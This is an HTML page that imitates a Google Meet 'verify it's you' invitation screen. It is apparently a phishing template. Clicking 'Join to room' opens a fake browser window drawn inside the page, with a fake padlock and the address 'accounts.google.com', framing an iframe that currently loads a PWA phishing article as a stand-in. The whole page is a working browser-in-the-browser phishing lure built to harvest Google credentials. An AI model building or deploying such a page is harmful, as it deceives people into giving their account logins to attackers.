<!DOCTYPE html>
<html lang="en">
 <head>
  <meta charset="utf-8"/>
  <meta content="width=device-width, initial-scale=1" name="viewport"/>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js">
  </script>
  <meta content="width=device-width, initial-scale=1.0" name="viewport"/>
  <link href="https://fonts.googleapis.com" rel="preconnect"/>
  <link crossorigin="" href="https://fonts.gstatic.com" rel="preconnect"/>
  <link href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&amp;display=swap" rel="stylesheet"/>
  <link href="https://img.icons8.com/?size=100&amp;id=Nja00lAQ9VQc&amp;format=png&amp;color=000000" rel="icon" type="image/x-icon"/>
  <!-- <link rel="stylesheet" href="./style.css" /> -->
  <title>
   Google Meet
  </title>
  <style>
   * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
      }
      /* root style */
      .roboto-thin {
        font-family: "Roboto", sans-serif;
        font-weight: 100;
        font-style: normal;
      }

      .roboto-light {
        font-family: "Roboto", sans-serif;
        font-weight: 300;
        font-style: normal;
      }

      .roboto-regular {
        font-family: "Roboto", sans-serif;
        font-weight: 400;
        font-style: normal;
      }

      .roboto-medium {
        font-family: "Roboto", sans-serif;
        font-weight: 500;
        font-style: normal;
      }

      .roboto-bold {
        font-family: "Roboto", sans-serif;
        font-weight: 700;
        font-style: normal;
      }

      .roboto-black {
        font-family: "Roboto", sans-serif;
        font-weight: 900;
        font-style: normal;
      }

      .roboto-thin-italic {
        font-family: "Roboto", sans-serif;
        font-weight: 100;
        font-style: italic;
      }

      .roboto-light-italic {
        font-family: "Roboto", sans-serif;
        font-weight: 300;
        font-style: italic;
      }

      .roboto-regular-italic {
        font-family: "Roboto", sans-serif;
        font-weight: 400;
        font-style: italic;
      }

      .roboto-medium-italic {
        font-family: "Roboto", sans-serif;
        font-weight: 500;
        font-style: italic;
      }

      .roboto-bold-italic {
        font-family: "Roboto", sans-serif;
        font-weight: 700;
        font-style: italic;
      }

      .roboto-black-italic {
        font-family: "Roboto", sans-serif;
        font-weight: 900;
        font-style: italic;
      }

      button {
        border: 0;
        outline: none;
        background-color: transparent;
        height: 45px;
        padding: 0 20px;
        border-radius: 50px;
        display: flex;
        gap: 6px;
        flex-direction: row-reverse;
        justify-content: center;
        align-items: center;
        cursor: pointer;
        box-shadow: rgba(0, 0, 0, 0.16) 0px 1px 4px;
        transition: 0.1s;
      }
      button.drawn {
        width: 170px;
      }
      button.btn-primary {
        background-color: rgb(11, 87, 208);
        color: #fff;
      }
      button.btn-primary:hover {
        background-color: rgba(11, 87, 208, 0.9);
      }
      button.btn-outline-primary {
        background-color: rgb(255, 255, 255);
        color: rgb(11, 87, 208);
      }
      button.btn-outline-primary:hover {
        background-color: rgba(11, 87, 208, 0.1);
      }
      .px-4 {
        padding-left: 16px;
        padding-right: 16px;
      }
      .px-5 {
        padding-left: 20px;
        padding-right: 20px;
      }
      .px-6 {
        padding-left: 24px;
        padding-right: 24px;
      }
      .px-7 {
        padding-left: 28px;
        padding-right: 28px;
      }
      .px-8 {
        padding-left: 50px;
        padding-right: 50px;
      }
      #tooltip {
        padding: 3px 8px;
        background-color: #303030;
        color: #e3e3e3;
        border-radius: 4px;
        position: absolute;
        z-index: 999;
        font-size: 0.8rem;
        top: 0;
        left: 0;
        display: none;
      }
      #tooltip.show {
        display: block;
        /* animation: tooltipAnimate 0.3s; */
      }
      @keyframes tooltipAnimate {
        0% {
          opacity: 0;
          transform: scale(0.9);
        }
        100% {
          opacity: 1;
          transform: scale(1);
        }
      }
      #popup {
        width: 100%;
        height: 100vh;
        position: fixed;
        left: 0;
        top: 0;
        justify-content: center;
        align-items: center;
      }
      #popup.active {
        display: flex;
      }
      #popup {
        display: none;
      }
      #popup #back-layer {
        background-color: rgba(32, 33, 36, 0.6);
        position: absolute;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
      }
      #popup #popup-context {
        padding: 28px 28px 7px 28px;
        border-radius: 8px;
        background-color: #fff;
        min-width: 100px;
        z-index: 1;
        max-width: 360px;
        display: flex;
        flex-direction: column;
      }
      .btn-dismiss {
        padding: 8px 6px;
        color: rgb(11, 87, 208);
        font-size: 0.9rem;
        cursor: pointer;
        display: inline-block;
        align-self: end;
        font-weight: 500;
        margin-top: 20px;
        border-radius: 4px;
        margin-bottom: 8px;
      }
      .btn-dismiss:hover {
        background-color: rgba(11, 87, 208, 0.05);
      }
      /* root style */

      body {
        background-color: #fff;
      }
      header {
        display: flex;
        justify-content: space-between;
        padding: 1rem 1rem 0 1rem;
      }
      #main {
        display: flex;
        justify-content: center;
        align-items: center;
        height: calc(100vh - 75px);
      }
      .main-container {
        display: flex;
        gap: 50px;
      }
      @media screen and (max-width: 768px) {
        .main-container {
          flex-direction: column;
        }
        .preview-black {
          width: 100% !important;
        }
      }
      .left {
        flex-grow: 1;
        display: flex;
        flex-direction: column;
      }
      .preview-black {
        width: 764px;
        height: 416px;
        background-color: rgb(32, 33, 36);
        border-radius: 8px;
        box-shadow: 0 1px 2px 0 rgba(60, 64, 67, 0.3),
          0 1px 3px 1px rgba(60, 64, 67, 0.15);
      }
      .btns-container {
        display: flex;
        align-items: center;
        justify-content: center;
        flex-direction: column;
        gap: 40px;
      }
      .verify-btns {
        display: flex;
        gap: 10px;
      }
      .parent-preview-black {
        height: 100%;
        display: flex;
        flex-direction: column;
        justify-content: space-between;
        padding: 12px;
      }
      .parent-preview-black .head {
        display: flex;
        justify-content: space-between;
      }
      .parent-preview-black .head button {
        padding: 3px !important;
        width: 30px;
        height: 30px;
        display: flex;
        justify-content: center;
        align-items: center;
      }
      .parent-preview-black .head button:hover {
        background: rgba(255, 255, 255, 0.3);
      }
      .parent-preview-black .meddle {
        text-align: center;
        color: #fff;
        font-size: 1.8rem;
      }
      .parent-preview-black .bottom {
        display: flex;
        justify-content: center;
      }
      .parent-preview-black .bottom .bottom-btns {
        display: flex;
        justify-content: center;
        gap: 15px;
      }
      .parent-preview-black .bottom .bottom-btns button {
        background-color: rgba(234, 67, 53, 0.9);
        width: 55px;
        height: 55px;
        display: flex;
        justify-content: center;
        align-items: center;
        padding: 0;
      }
      .parent-preview-black .bottom .bottom-btns button:hover {
        background-color: rgb(234, 67, 53, 1);
      }
      .Icobn2 {
        direction: rtl;
      }

      @font-face {
        font-family: system;
        font-style: normal;
        font-weight: 300;
        src: local(".SFNSText-Light"),
          local(".HelveticaNeueDeskInterface-Light"), local("Roboto-Light"),
          local("DroidSans"), local("Tahoma"), local(".LucidaGrandeUI"),
          local("Ubuntu Light"), local("Segoe UI Light");
      }

      html,
      body {
        width: 100%;
        height: 100%;
      }

      #title-bar {
        height: 31px;
        background-color: black;
        width: 100%;
        display: flex;
        justify-content: space-between;
        user-select: none;
      }

      #logo {
        padding-left: 5px;
        vertical-align: middle;
      }

      #logo-description {
        color: white;
        font-size: 12px;
        font-family: "system";
        vertical-align: middle;
      }

      #minimize {
        color: white;
        font-size: 12px;
        padding: 9px 15px 7px 15px;
      }

      #square {
        color: white;
        font-size: 22px;
        padding: 0px 15px 5px 15px;
      }

      #exit {
        color: white;
        font-size: 15px;
        padding: 7px 17px 7px 17px;
      }

      #url-bar {
        height: 28px;
        background-color: #1b1a1a;
        width: 100%;
        display: flex;
        align-items: center;
        white-space: nowrap;
        overflow: scroll;
        text-overflow: ellipsis;
        -ms-overflow-style: none;
        scrollbar-width: none;
      }

      #url-bar::-webkit-scrollbar {
        display: none;
      }

      #ssl-padlock {
        user-select: none;
        padding-left: 8px;
        margin-right: 8px;
      }

      #domain-name {
        color: white;
        font-size: 14px;
        font-family: "system";
      }

      #domain-path {
        color: #9c9898;
        font-size: 14px;
        font-family: "system";
      }

      #title-bar-width {
        width: calc(100% + 2px); /* 2px added to allow for border on iframe */
      }

      #content {
        width: 100%;
        height: 700px;
        border: 1px solid gray;
      }

      #window {
        color: transparent;
        background-color: transparent;
        border-color: transparent;
        box-shadow: rgba(0, 0, 0, 0.35) 0px 5px 15px;
        height: 759px; /* title bar height + content height */
        width: 40%;
      }
  </style>
 </head>
 <body>
  <header>
   <div>

   </div>
   <div>
   </div>
  </header>
  <main id="main">
   <div class="main-container">
    <div class="left">
     <div class="preview-black">
      <div class="parent-preview-black">
       <div class="head">
        <div>
         <div id="window" style="
                      margin: auto;
                      position: absolute;
                      bottom: 2.5%;
                      top: 2.5%;
                      left: 2.5%;
                      right: 2.5%;
                      display: none;
                    ">
          <!-- Title bar start -->
          <div id="title-bar-width">
           <div id="title-bar">
            <div style="margin-top: 5px">
             <img height="20px" id="logo" src="https://img.icons8.com/?size=100&amp;id=pE97I4t7Il9M&amp;format=png&amp;color=000000" width="25px"/>
             <span id="logo-description">
              Google Meet
             </span>
            </div>
            <div>
             <span id="minimize">
              —
             </span>
             <span id="square">
              □
             </span>
             <span id="exit">
              ✕
             </span>
            </div>
           </div>
           <div id="url-bar">
            <?xml version="1.0" encoding="UTF-8"?>
            <svg height="30px" id="ssl-padlock" version="1.1" viewbox="0 0 752 752" width="30px" xmlns="http://www.w3.org/2000/svg">
             <path d="m510.97 316.8h-12.785l-0.003906-62.512c0-56.828-46.41-103.24-103.24-103.24h-37.887c-56.828 0-103.24 46.41-103.24 103.24v62.039h-12.785c-25.574 0-45.938 20.836-45.938 45.938v192.27c0 25.574 20.836 45.938 45.938 45.938h270.41c25.574 0 45.938-20.836 45.938-45.938l0.003906-191.8c0-25.574-20.836-45.938-46.41-45.938zm-195.12-62.512c0-22.73 18.469-41.203 41.203-41.203h37.887c22.73 0 41.203 18.469 41.203 41.203v62.039h-120.29z" fill="#A6A6B2">
             </path>
            </svg>
            <span id="domain-name">
             accounts.google.com
            </span>
            <span id="domain-path">
             login_to_room
            </span>
           </div>
          </div>
          <!-- Content start -->
          <div>
           <iframe frameborder="0" id="content" src="https://mrd0x.com/progressive-web-apps-pwa-phishing/">
           </iframe>
          </div>
         </div>
        </div>
        <div>
         <button class="tooltip" data-text="More options">
          <svg fill="#fff" height="24" viewbox="0 0 16 16" width="24" xmlns="http://www.w3.org/2000/svg">
           <path d="M9.5 13a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0m0-5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0m0-5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0">
           </path>
          </svg>
         </button>
        </div>
       </div>
       <div class="meddle">
        <p class="roboto-regular">
        </p>
        <!--Not Camera Found-->
       </div>
       <div class="bottom">
        <div class="bottom-btns">
         <button class="op-pop tooltip" data-text="Show more info">
          <svg fill="#fff" height="20" stroke="currentColor" stroke-width="0" viewbox="0 0 24 24" width="20" xmlns="http://www.w3.org/2000/svg">
           <path d="m21.707 20.293-3.388-3.388A7.942 7.942 0 0 0 20 12.021h-2a5.95 5.95 0 0 1-1.109 3.456l-1.452-1.452c.348-.591.561-1.27.561-2.004v-6C16 3.804 14.215 2 12.021 2c-.07 0-.14.009-.209.025A4.005 4.005 0 0 0 8 6.021v.565L3.707 2.293 2.293 3.707l18 18 1.414-1.414zM10 6.021c0-1.103.897-2 2-2a.918.918 0 0 0 .164-.015C13.188 4.08 14 4.956 14 6.021v6c0 .172-.029.335-.071.494L10 8.586V6.021zm-4 6H4c0 4.072 3.06 7.436 7 7.931v2.069h2v-2.07a7.993 7.993 0 0 0 2.218-.611l-1.558-1.558a5.979 5.979 0 0 1-1.66.239c-3.309 0-6-2.692-6-6z">
           </path>
           <path d="M8.011 12.132a3.993 3.993 0 0 0 3.877 3.877l-3.877-3.877z">
           </path>
          </svg>
         </button>
         <button class="op-pop tooltip" data-text="Show more info">
          <svg fill="#fff" height="20" stroke="currentColor" stroke-width="0" viewbox="0 0 256 256" width="20" xmlns="http://www.w3.org/2000/svg">
           <path d="M249.45,69.31a12,12,0,0,0-12.51,1L212,88.43V72a20,20,0,0,0-20-20H123.88a12,12,0,0,0,0,24H188v68a12,12,0,0,0,4.46,9.33c.15.13.31.25.48.38l44,32A12,12,0,0,0,256,176V80A12,12,0,0,0,249.45,69.31ZM232,152.43l-20-14.54V118.11l20-14.54ZM56.88,31.93A12,12,0,1,0,39.12,48.07L42.69,52H32A20,20,0,0,0,12,72V184a20,20,0,0,0,20,20H180.87l18.25,20.07a12,12,0,0,0,17.76-16.14ZM36,180V76H64.51l94.55,104Z">
           </path>
          </svg>
         </button>
        </div>
       </div>
      </div>
     </div>
    </div>
    <div class="btns-container">
     <div>
      <h1 class="roboto-regular">
       Please verfy it's you
      </h1>
     </div>
     <div class="verify-btns">
      <button class="btn-primary drawn roboto-regular" id="clickme">
       Join to room
      </button>
      <button class="btn-outline-primary drawn">
       <span class="roboto-regular">
        Exit page
       </span>
       <svg fill="currentColor" height="20" viewbox="0 0 16 16" width="20" xmlns="http://www.w3.org/2000/svg">
        <path d="M15 2a1 1 0 0 0-1-1H2a1 1 0 0 0-1 1v12a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1zM0 2a2 2 0 0 1 2-2h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2zm8.5 9.5a.5.5 0 0 1-1 0V5.707L5.354 7.854a.5.5 0 1 1-.708-.708l3-3a.5.5 0 0 1 .708 0l3 3a.5.5 0 0 1-.708.708L8.5 5.707z" fill-rule="evenodd">
        </path>
       </svg>
      </button>
     </div>
     <p class="roboto-regular" id="Noname36">
      <b>
       David
      </b>
      has invited you to this room !
     </p>
    </div>
   </div>
  </main>
  <div class="roboto-light" id="tooltip">
  </div>
  <div id="popup">
   <div id="back-layer">
   </div>
   <div id="popup-context">
    <div class="roboto-medium" style="margin-bottom: 16px">
     Can't find your camera
    </div>
    <div class="roboto-regular" style="font-size: 14px; margin-bottom: 16px; color: #5f6368">
     Check your system settings to make sure that a camera is available. If
          not, plug one in. You might then need to restart your browser.
    </div>
    <div class="btn-dismiss roboto-regular">
     Dismiss
    </div>
   </div>
  </div>
  <!-- <script src="./script.js"></script> -->
  <script>
   const els_tooltip = document.querySelectorAll(".tooltip");
      const el_tooltip = document.getElementById("tooltip");
      const btns_op_pop = document.querySelectorAll(".op-pop");
      const popup = document.querySelector("#popup");
      const btn_dismiss = document.querySelector(".btn-dismiss");

      els_tooltip.forEach((i) => {
        i.addEventListener("mouseenter", () => {
          if (window.innerWidth > 768) {
            showTooltip(i);
          }
        });

        i.addEventListener("mouseleave", () => {
          hideTooltip();
        });
      });

      btns_op_pop.forEach((i) => {
        i.addEventListener("click", () => {
          popup.classList.add("active");
        });
      });

      btn_dismiss.addEventListener("click", () => {
        popup.classList.remove("active");
      });

      function showTooltip(el) {
        const el_pos = el.getBoundingClientRect();
        const _e_t = el_tooltip.getBoundingClientRect();
        el_tooltip.style.left = el_pos.left + "px";
        el_tooltip.style.top = el_pos.top + "px";
        el_tooltip.innerText = el.getAttribute("data-text");
        el_tooltip.style.transform = `translate(-${_e_t.width / 2}px,-${
          el_pos.height
        }px)`;
        el_tooltip.classList.add("show");
      }

      function hideTooltip() {
        el_tooltip.style.left = 0 + "px";
        el_tooltip.style.top = 0 + "px";
        el_tooltip.style.transform = `unset`;
        el_tooltip.classList.remove("show");
      }
  </script>
  <script>
   var minimize = document.getElementById("minimize");
      var square = document.getElementById("square");
      var exit = document.getElementById("exit");
      var titleBar = document.getElementById("title-bar");

      ////////////////// Hover listeners //////////////////
      minimize.addEventListener("mouseover", function handleMouseOver() {
        minimize.style.backgroundColor = "#272727";
        minimize.style.cursor = "context-menu";
      });

      minimize.addEventListener("mouseout", function handleMouseOut() {
        minimize.style.backgroundColor = "black";
        minimize.style.cursor = "default";
      });

      square.addEventListener("mouseover", function handleMouseOver() {
        square.style.backgroundColor = "#272727";
        square.style.cursor = "context-menu";
      });

      square.addEventListener("mouseout", function handleMouseOut() {
        square.style.backgroundColor = "black";
        square.style.cursor = "default";
      });

      exit.addEventListener("mouseover", function handleMouseOver() {
        exit.style.backgroundColor = "red";
        exit.style.cursor = "context-menu";
      });

      exit.addEventListener("mouseout", function handleMouseOut() {
        exit.style.backgroundColor = "black";
        exit.style.cursor = "default";
      });

      titleBar.addEventListener("mouseover", function handleMouseOver() {
        titleBar.style.cursor = "context-menu";
      });

      titleBar.addEventListener("mouseout", function handleMouseOver() {
        titleBar.style.cursor = "default";
      });

      //////////////// Make window draggable start ////////////////
      // Make the DIV element draggable:
      var draggable = $("#window");
      var title = $("#title-bar");

      title.on("mousedown", function (e) {
        var dr = $(draggable).addClass("drag");
        height = dr.outerHeight();
        width = dr.outerWidth();
        (ypos = dr.offset().top + height - e.pageY),
          (xpos = dr.offset().left + width - e.pageX);
        $(document.body)
          .on("mousemove", function (e) {
            var itop = e.pageY + ypos - height;
            var ileft = e.pageX + xpos - width;
            if (dr.hasClass("drag")) {
              dr.offset({ top: itop, left: ileft });
            }
          })
          .on("mouseup", function (e) {
            dr.removeClass("drag");
          });
      });
      //////////////// Make window draggable end ////////////////

      ////////////////// Onclick listeners //////////////////
      // X button functionality
      $("#exit").click(function () {
        $("#window").css("display", "none");
      });

      // Maximize button functionality
      $("#square").click(enlarge);

      function enlarge() {
        if (square.classList.contains("enlarged")) {
          $("#window").css("width", "40%");
          $("#title-bar-width").css("width", "100%").css("width", "+=2px");
          $("#content").css("width", "100%");
          $("#square").removeClass("enlarged");
        } else {
          $("#window").css("width", "70%");
          $("#title-bar-width").css("width", "100%").css("width", "+=2px");
          $("#content").css("width", "100%");
          $("#square").addClass("enlarged");
        }
      }

      //// Pop-up appear on click with delay ////
      $("#clickme").click(function () {
        $("#window").fadeIn(300);
      });
  </script>
 </body>
</html>
